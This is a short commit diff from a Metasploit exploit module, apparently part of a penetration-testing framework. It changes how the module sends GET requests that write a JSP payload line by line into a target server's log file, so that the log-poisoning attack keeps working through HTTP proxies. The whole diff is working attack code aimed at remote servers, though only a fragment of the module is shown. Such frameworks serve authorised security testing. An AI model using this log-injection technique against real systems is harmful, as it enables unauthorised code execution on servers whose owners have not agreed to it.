Change HTTP requests to succeed when going through HTTP proxies
parent
df22ed2132
commit
de09559cc8
|
@ -97,9 +97,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
def dump_line(uri, cmd = "")
|
def dump_line(uri, cmd = "")
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'uri' => uri+cmd,
|
'uri' => uri,
|
||||||
|
'encode_params' => false,
|
||||||
|
'vars_get' => {
|
||||||
|
cmd => ""
|
||||||
|
},
|
||||||
'version' => '1.1',
|
'version' => '1.1',
|
||||||
'method' => 'GET',
|
'method' => 'GET'
|
||||||
})
|
})
|
||||||
|
|
||||||
res
|
res
|
||||||
|
@ -232,8 +236,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
# Dump the JSP to the log file
|
# Dump the JSP to the log file
|
||||||
print_status("#{peer} - Dumping JSP into the logfile...")
|
print_status("#{peer} - Dumping JSP into the logfile...")
|
||||||
random_request = rand_text_alphanumeric(3 + rand(3))
|
random_request = rand_text_alphanumeric(3 + rand(3))
|
||||||
|
|
||||||
|
uri = normalize_uri("/", random_request)
|
||||||
|
|
||||||
jsp.each_line do |l|
|
jsp.each_line do |l|
|
||||||
unless dump_line(random_request, l.chomp)
|
unless dump_line(uri, l.chomp)
|
||||||
fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...")
|
fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue